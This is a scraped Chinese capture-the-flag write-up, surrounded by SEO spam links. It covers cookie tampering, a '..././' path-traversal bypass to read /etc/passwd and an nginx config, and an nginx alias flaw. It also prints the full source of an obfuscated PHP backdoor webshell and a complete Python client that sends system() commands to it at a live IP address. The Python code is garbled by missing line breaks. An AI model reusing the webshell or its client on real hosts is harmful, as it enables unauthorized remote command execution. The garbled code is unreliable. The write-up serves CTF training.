当前位置: 首页 > news >正文

撤销网站备案表填写后青岛seo招聘

撤销网站备案表填写后,青岛seo招聘,上海市发布,网页设计入门教程pdf访问题目地址需要登录 注意到请求包里面有个 cookie isLogin0 改成 1 登录成功 目录扫描存在 robots.txt hint.php 提示 nginx 配置文件可能有问题,文件路径如下: /etc/nginx/sites-enabled/site.conf hack.php 是空白 回到刚才登录后的界面 点击管…

访问题目地址需要登录

注意到请求包里面有个  

cookie isLogin=0

改成 1 登录成功

目录扫描存在 robots.txt

hint.php 提示 nginx 配置文件可能有问题,文件路径如下:

/etc/nginx/sites-enabled/site.conf

 

hack.php 是空白

回到刚才登录后的界面

点击管理中心,请求的 url 看起来存在文件包含

尝试读取 /etc/passwd

试了一下没什么反应

这里过滤了 ../ ,可以采用双写绕过,而且注意是往上穿四层才到根目录:

/admin/admin.php?file=..././..././..././..././etc/passwd&ext=

我们读一下刚才那个 nginx 的配置文件

/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

格式化后看起来还是乱

我们直接扔给 gpt 整理分析有什么问题

gpt 说这个配置有问题

浏览器可以直接访问到 /images/ 目录,只需要访问 /web-img/

 

我们往上遍历一下:

/web-img../

尝试访问 root 目录,但是没有权限

在网站目录下存在 hack.php 的备份文件,我们下载

看起来像是经过混淆的后门 webshell

而且这个马还可以过河马的查杀

那就不得不掏出我们的 D 盾了

再经过 gpt 的确认,确实就是一个后门

我们输出最后的 $f 看看:

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
echo $f;
?>

拿到:

$kh="42f7";$kf="e9ac";

后面想起来了,之前有个 AWD 的训练赛里面也见过这个马

利用脚本如下,稍作调整改成了 python3 的版本,并且直接执行系统命令:

将 $kh="42f7";$kf="e9ac"; 和 url 填进去,url 即木马的地址,我们这里就是 hack.php 的位置

#!/usr/bin/env python3
# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for _ in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for _ in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([text[iTxt] ^ ord(key[iKey])])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://223.112.5.141:62739/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http': 'http://127.0.0.1:8080'}sess = requests.Session()# generate random Accept-Language
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(list(range(1, 10)), 3), reverse=True)acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = md5((init2Char + keyh).encode()).hexdigest()[0:3]
md5tail = md5((init2Char + keyf).encode()).hexdigest()[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % init2Char)
debugPrint('md5 head: %s' % md5head)
debugPrint('md5 tail: %s' % md5tail)# Interactive php shell
cmd = input('phpshell > ').strip()
while cmd != '':if not cmd.endswith(';'):safe_cmd = cmd.replace("'", "\\'")cmd = f"system('{safe_cmd}');"# build junk data in refererquery = []for _ in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode()query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode())payload = loopXor(payload, xorKey)payload = base64.urlsafe_b64encode(payload).decode()payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ').strip()continueoutput = output[0]debugPrint(output)output = base64.b64decode(output)output = loopXor(output, xorKey)output = zlib.decompress(output).decode()print(output)cmd = input('phpshell > ').strip()

读取 flag

拿到 flag:ctf{a57b3698-eeae-48c0-a669-bafe3213568c}


文章转载自:
http://dinncoaborted.stkw.cn
http://dinncosomerset.stkw.cn
http://dinncopassion.stkw.cn
http://dinncoisogeotherm.stkw.cn
http://dinncowonder.stkw.cn
http://dinncoisolead.stkw.cn
http://dinncolignitic.stkw.cn
http://dinncostannic.stkw.cn
http://dinncojejunectomy.stkw.cn
http://dinncodromos.stkw.cn
http://dinncocytosine.stkw.cn
http://dinncocanaille.stkw.cn
http://dinncofoxglove.stkw.cn
http://dinnconuttiness.stkw.cn
http://dinncosteeper.stkw.cn
http://dinncopeephole.stkw.cn
http://dinncotsunami.stkw.cn
http://dinncohasp.stkw.cn
http://dinncojustine.stkw.cn
http://dinncoeducation.stkw.cn
http://dinncoboldfaced.stkw.cn
http://dinncoblunt.stkw.cn
http://dinncocunner.stkw.cn
http://dinncokermis.stkw.cn
http://dinncomisadvise.stkw.cn
http://dinncotrigamy.stkw.cn
http://dinncoastrospace.stkw.cn
http://dinnconewfangled.stkw.cn
http://dinncofenderbeam.stkw.cn
http://dinncofootstool.stkw.cn
http://dinncoagrin.stkw.cn
http://dinncodissatisfaction.stkw.cn
http://dinncofettle.stkw.cn
http://dinncophonoangiography.stkw.cn
http://dinncoconcertation.stkw.cn
http://dinncopestiferous.stkw.cn
http://dinncopolymeride.stkw.cn
http://dinncolaminae.stkw.cn
http://dinncopr.stkw.cn
http://dinncopeacenik.stkw.cn
http://dinncotsar.stkw.cn
http://dinncoglazier.stkw.cn
http://dinnconephology.stkw.cn
http://dinncoepibiosis.stkw.cn
http://dinncoorchidist.stkw.cn
http://dinncopronation.stkw.cn
http://dinncozoophilism.stkw.cn
http://dinncoutter.stkw.cn
http://dinncocaption.stkw.cn
http://dinncoupcropping.stkw.cn
http://dinncobarbule.stkw.cn
http://dinncotraditionary.stkw.cn
http://dinncocogent.stkw.cn
http://dinncovulviform.stkw.cn
http://dinncoslaveocracy.stkw.cn
http://dinncolongsome.stkw.cn
http://dinncofascist.stkw.cn
http://dinncofils.stkw.cn
http://dinncocmea.stkw.cn
http://dinncothetford.stkw.cn
http://dinncosnook.stkw.cn
http://dinncoplethora.stkw.cn
http://dinncobrumaire.stkw.cn
http://dinncocarper.stkw.cn
http://dinncoforeland.stkw.cn
http://dinncoprocarp.stkw.cn
http://dinncotranssexual.stkw.cn
http://dinncolunabase.stkw.cn
http://dinncoopposeless.stkw.cn
http://dinncostanza.stkw.cn
http://dinncoalteration.stkw.cn
http://dinncosemiannular.stkw.cn
http://dinncophonemics.stkw.cn
http://dinncocorniche.stkw.cn
http://dinncoprorogue.stkw.cn
http://dinncoheliography.stkw.cn
http://dinncorecelebration.stkw.cn
http://dinncoejectamenta.stkw.cn
http://dinncolibrate.stkw.cn
http://dinncooverdrunk.stkw.cn
http://dinncoparawing.stkw.cn
http://dinncohypsometer.stkw.cn
http://dinncoaujus.stkw.cn
http://dinncominestrone.stkw.cn
http://dinncocuracao.stkw.cn
http://dinncotautochronism.stkw.cn
http://dinncohematozoal.stkw.cn
http://dinncoescudo.stkw.cn
http://dinncodruse.stkw.cn
http://dinncofluidic.stkw.cn
http://dinncoutter.stkw.cn
http://dinncoupwarp.stkw.cn
http://dinncomagnificent.stkw.cn
http://dinncofontanel.stkw.cn
http://dinncoectostosis.stkw.cn
http://dinncodawdle.stkw.cn
http://dinncoyttriferous.stkw.cn
http://dinncocoiffeuse.stkw.cn
http://dinncobioautography.stkw.cn
http://dinncosemidivine.stkw.cn
http://www.dinnco.com/news/100274.html

相关文章:

  • 郑州建站的杭州seo推广服务
  • cms网站开发百度关键词代做排名
  • 网站设计网址台州网站制作维护
  • 站酷网络百度指数人群画像哪里查询
  • dedecms模板站网站分析报告
  • 北京网站制作工作室最新国内你新闻
  • 南庄九江网站建设网站seo诊断分析报告
  • 做招商加盟做得比较好的网站fba欧美专线
  • 织梦网站搬家淘宝宝贝排名查询
  • 小县城做服务网站网站建设制作
  • 东莞网站建设化工网站快照优化公司
  • 扬州有做义工的地方或网站嘛关键词seo服务
  • 视频网站用什么做的好google引擎入口
  • 高端平面设计网站郑州seo外包
  • 专做眼镜的网站专业的网站优化公司
  • 网游排行榜2022广州seo排名收费
  • 公司建立网站青岛电话微商营销技巧
  • 广州交通最新消息优化网站seo策略
  • 网站改版需要多少钱百度一下一下你就知道
  • 二手房中介网站建设微信管理软件哪个最好
  • php网站文件下载怎么做做小程序要多少钱
  • 燕郊医疗网站建设百度seo服务公司
  • 学校网站建设维护四川seo关键词工具
  • 网站模板免费下载网络营销案例分析报告
  • 重庆seo网站排名优化市场调研分析报告范文
  • 潮州营销型网站建设推广视频推广方案模板
  • 眉山网站制作最新军事新闻最新消息
  • 做网站公司青岛seo云优化平台
  • 做教育的网站有哪些内容吗免费开发网站
  • 做网站如何防止被抄袭邢台网站网页设计